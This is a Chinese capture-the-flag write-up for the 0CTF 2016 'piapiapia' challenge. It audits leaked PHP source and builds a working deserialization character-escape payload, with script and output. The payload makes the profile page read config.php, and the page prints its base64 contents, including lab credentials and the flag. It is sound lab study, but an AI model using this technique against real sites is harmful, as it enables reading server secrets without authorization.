当前位置: 首页 > news >正文

[0CTF 2016]piapiapia

usernamepassword回显推断
admin123Invalid user name or password
admin'123Invalid user name or password
admin123'Invalid user name or password
a123Invalid user name说明username是admin
admin1Invalid password这很奇怪了
admin0200
admin1=1Invalid user name or password
admin1=0Invalid user name or password

如果说出现Invalid user name or password是因为有过滤符号,但是为什么password等于1、123的结果不同呢?为什么password=0的时候回显200?不是普通的布尔盲注,感觉得拿到源码才知道其中逻辑。

利用bp扫描备份文件发现所有不存在的路径都会重定向到Index.php,但是从长度可以看到www.zip文件是存在的。拿到了源代码。

发现有login、register、update、profile功能,发现profile存在可利用输出:

<?phprequire_once('class.php');if($_SESSION['username'] == null) {die('Login First');	}$username = $_SESSION['username'];$profile=$user->show_profile($username);if($profile  == null) {header('Location: update.php');}else {$profile = unserialize($profile);$phone = $profile['phone'];$email = $profile['email'];$nickname = $profile['nickname'];$photo = base64_encode(file_get_contents($profile['photo']));
?><img src="data:image/gif;base64,<?php echo $photo; ?>" class="img-memeda " style="width:180px;margin:0px auto;"><h3>Hi <?php echo $nickname;?></h3><label>Phone: <?php echo $phone;?></label><label>Email: <?php echo $email;?></label>

有unserialize()但是class.php中没有可利用的魔术方法。可以考虑$username二次注入和$photo文件读取或者代码注入。

public function show_profile($username) {$username = parent::filter($username);$where = "username = '$username'";$object = parent::select($this->table, $where);return $object->profile;}public function select($table, $where, $ret = '*') {$sql = "SELECT $ret FROM $table WHERE $where";$result = mysql_query($sql, $this->link);return mysql_fetch_object($result);}public function filter($string) {$escape = array('\'', '\\\\');$escape = '/' . implode('|', $escape) . '/';$string = preg_replace($escape, '_', $string);//将单引号和反斜杠(因为字符串和正则表达式二次转义)过滤$safe = array('select', 'insert', 'update', 'delete', 'where');$safe = '/' . implode('|', $safe) . '/i';return preg_replace($safe, 'hacker', $string);//select被过滤,sql注入基本用不了}

update.php:

<?phprequire_once('class.php');if($_SESSION['username'] == null) {die('Login First');	}if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {$username = $_SESSION['username'];if(!preg_match('/^\d{11}$/', $_POST['phone']))die('Invalid phone');if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))die('Invalid email');if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)die('Invalid nickname');$file = $_FILES['photo'];if($file['size'] < 5 or $file['size'] > 1000000)die('Photo size error');move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));$profile['phone'] = $_POST['phone'];$profile['email'] = $_POST['email'];$profile['nickname'] = $_POST['nickname'];$profile['photo'] = 'upload/' . md5($file['name']);$user->update_profile($username, serialize($profile));echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';}else {
?>

move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));

对上传的图片没有严格过滤,可能存在文件上传漏洞。

上传一句话木马shell.php,然后文件位置为:upload/25a452927110e39a345a2511c57647f2

由于文件名被编码,访问该路径服务器无法将其当作php代码执行。

由于select被过滤sql注入用不了,对$photo文件名进行了md5编码没法进行文件上传和文件读取,对$photo文件内容进行base64编码,也没法进行代码注入。看一下答案吧。

php反序列化中的字符逃逸。原因在于update.php将所有上传内容进行序列化,然后在插入数据库前进行了字符替换,会改变序列字符串长度。并且对nickname的长度过滤使用的是strlen($_POST['nickname']) > 10,能通过传数组绕过。

如何进行字符逃逸呢?

首先我们的目标是利用$photo的文件名和file_get_contents()读取config.php文件,但是文件名进行了md5编码,所以需要利用字符逃逸构造$profile['photo']=config.php。

可以利用'where'替换为'Hacker'增加一个长度。从而在nickname中构造photo。

<?php
$profile = [];
echo "目标序列:\n";
$profile['phone'] = '12345678901';
$profile['email'] = 'zzz999999@qq.com';
$profile['nicname'] = 'hacker...';
$profile['photo'] = 'config.php';
echo serialize($profile)."\n";echo "替换前的序列:\n";
$profile['phone'] = '12345678901';
$profile['email'] = 'zzz999999@qq.com';
$profile['nicname'] = 'where...';
$profile['photo'] = 'upload/' . md5('1.jpg');
echo serialize($profile)."\n";// nickname需要以";s:5:"photo";s:10:"config.php";}结尾,并且让他们逃逸出去
$end = '";s:5:"photo";s:10:"config.php";}';
$num = strlen($end); //33
$bengin = str_repeat('where', $num); 
$profile['phone'] = '12345678901';
$profile['email'] = 'zzz999999@qq.com';
$profile['nicname'] = $bengin.$end;
$profile['photo'] = 'upload/' . md5('1.jpg');
echo "构造的序列:\n";
echo $string = serialize($profile)."\n";$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
$res = preg_replace($safe, 'hacker', $string);
echo "替换后的序列:\n";
echo $res."\n";
var_dump (unserialize($res))."\n";
echo "playload:\n";
echo $profile['nicname']."\n";

这是我构造playload的思路,先从目标序列、替换前的序列入手,再构造序列,最后验证结果是否与目标序列一样。

但是测试发现并不可以,update成功但是profile显示所有信息都为空,这说明反序列化可能出了问题。

突然想到,我们上传的时候nicname传的是数组,会不会数组的序列字符串有特殊的地方?

修改一下类型然后重新生成目标序列:

a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:16:"zzz999999@qq.com";s:7:"nicname";a:1:{i:0;s:9:"hacker...";}s:5:"photo";s:10:"config.php";}

果然,如果nickname是数组的话,有特殊格式。因此在字符逃逸的时候需要";}来闭合nicname。而不仅仅是"; 。重新构造playload:

<?php
$profile = [];
echo "目标序列:\n";
$profile['phone'] = '12345678901';
$profile['email'] = 'zzz999999@qq.com';
$profile['nicname'] = [];
$profile['nicname'][] = 'hacker...';
$profile['photo'] = 'config.php';
echo serialize($profile)."\n";echo "替换前的序列:\n";
$profile['phone'] = '12345678901';
$profile['email'] = 'zzz999999@qq.com';
$profile['nicname'] = [];
$profile['nicname'][] = 'where...';
$profile['photo'] = 'upload/' . md5('1.jpg');
echo serialize($profile)."\n";// nickname需要以";}s:5:"photo";s:10:"config.php";}结尾,并且让他们逃逸出去
$end = '";}s:5:"photo";s:10:"config.php";}';
$num = strlen($end); //34
$bengin = str_repeat('where', $num); 
$profile['phone'] = '12345678901';
$profile['email'] = 'zzz999999@qq.com';
$profile['nicname'] = [];
$profile['nicname'][] = $bengin.$end;
$profile['photo'] = 'upload/' . md5('1.jpg');
echo "构造的序列:\n";
echo $string = serialize($profile)."\n";$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
$res = preg_replace($safe, 'hacker', $string);
echo "替换后的序列:\n";
echo $res."\n";
echo "验证正确性:\n";
var_dump (unserialize($res))."\n";
echo "playload:\n";
var_dump($profile['nicname']);

输出是:

目标序列:
a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:16:"zzz999999@qq.com";s:7:"nicname";a:1:{i:0;s:9:"hacker...";}s:5:"photo";s:10:"config.php";}
替换前的序列:
a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:16:"zzz999999@qq.com";s:7:"nicname";a:1:{i:0;s:8:"where...";}s:5:"photo";s:39:"upload/f3ccdd27d2000e3f9255a7e3e2c48800";}
构造的序列:
a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:16:"zzz999999@qq.com";s:7:"nicname";a:1:{i:0;s:204:"wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}";}s:5:"photo";s:39:"upload/f3ccdd27d2000e3f9255a7e3e2c48800";}
替换后的序列:
a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:16:"zzz999999@qq.com";s:7:"nicname";a:1:{i:0;s:204:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";}s:5:"photo";s:10:"config.php";}";}s:5:"photo";s:39:"upload/f3ccdd27d2000e3f9255a7e3e2c48800";}array(4) {["phone"]=>string(11) "12345678901"["email"]=>string(16) "zzz999999@qq.com"["nicname"]=>array(1) {[0]=>string(204) "hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker"}["photo"]=>string(10) "config.php"
}
playload:
array(1) {[0]=>string(204) "wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}"
}

设置对update.php请求参数如上。然后访问profile.php。

由于这边图片是config.php的base64编码,所以无法解析成图片。但是我们可以通过查看源码看到

<img src="data:image/gif;base64,PD9waHAKJGNvbmZpZ1snaG9zdG5hbWUnXSA9ICcxMjcuMC4wLjEnOwokY29uZmlnWyd1c2VybmFtZSddID0gJ3Jvb3QnOwokY29uZmlnWydwYXNzd29yZCddID0gJ3F3ZXJ0eXVpb3AnOwokY29uZmlnWydkYXRhYmFzZSddID0gJ2NoYWxsZW5nZXMnOwokZmxhZyA9ICdmbGFne2Y1YTNiNGVmLTQyNDQtNDcyOC04MTM0LWY5YmYzY2Y3NWNhY30nOwo/Pgo=" class="img-memeda " style="width:180px;margin:0px auto;"> <h3>Hi Array</h3>

解码之后就能得到flag啦!

总结一下:感觉这道题目很棒,非常接近真实场景。代码审计的时候要考虑很多种可能。唯一可惜的是没有想到php反序列化字符逃逸。另外补充了一个知识,strlen()过滤可以通过传入数组绕过。踩过的一个坑,php序列字符串中数组类型的数据是有大括号包裹的,因此逃逸的时候要注意闭合。

http://www.lryc.cn/news/615689.html

相关文章:

  • PhotoDirector 安卓版:功能强大的照片编辑与美化应用
  • Dify集成 Echarts 实现智能数据报表集成与展示实战详解
  • 复杂项目即时通讯从android 5升级android x后遗症之解决 ANR: Input dispatching timed out 问题 -优雅草卓伊凡
  • 咪咕MGV3200-KLH_GK6323V100C_板号E503744_安卓9_短接强刷包-可救砖
  • WebAssembly技术详解:从浏览器到云原生的高性能革命
  • Flutter 与 Android NDK 集成实战:实现高性能原生功能
  • Vue3 组件化开发
  • Solana上Launchpad混战:新颖性应被重视
  • 一个“加锁无效“的诡异现象
  • BGP 笔记
  • Python 中的 Mixin
  • 第4章 程序段的反复执行2 while语句P128练习题(题及答案)
  • 【动态数据源】⭐️@DS注解实现项目中多数据源的配置
  • Datawhale AI夏令营第三期,多模态RAG方向 Task2
  • 深度学习入门Day8:生成模型革命——从GAN到扩散模型
  • pytorch llm 计算flops和参数量
  • Busybox编译、制作initramfs,并在QEMU中运行
  • 束搜索(Beam Search):原理、演进与挑战
  • Java -- 日期类-第一代-第二代-第三代日期
  • NLP:Transformer输出部分
  • 第十九天-输入捕获实验
  • AI编程工具 | Trae介绍
  • Linux高级编程-文件操作
  • SpringBoot 集成 MapStruct
  • Vue 3.6 Vapor模式完全指南:告别虚拟DOM,性能飞跃式提升
  • 使用GTX ip core + SDI IP core实现SDI设计
  • Vue3 路由
  • C++算法练习:单词识别
  • 决策树技术详解:从理论到Python实战
  • 【ref、toRef、toRefs、reactive】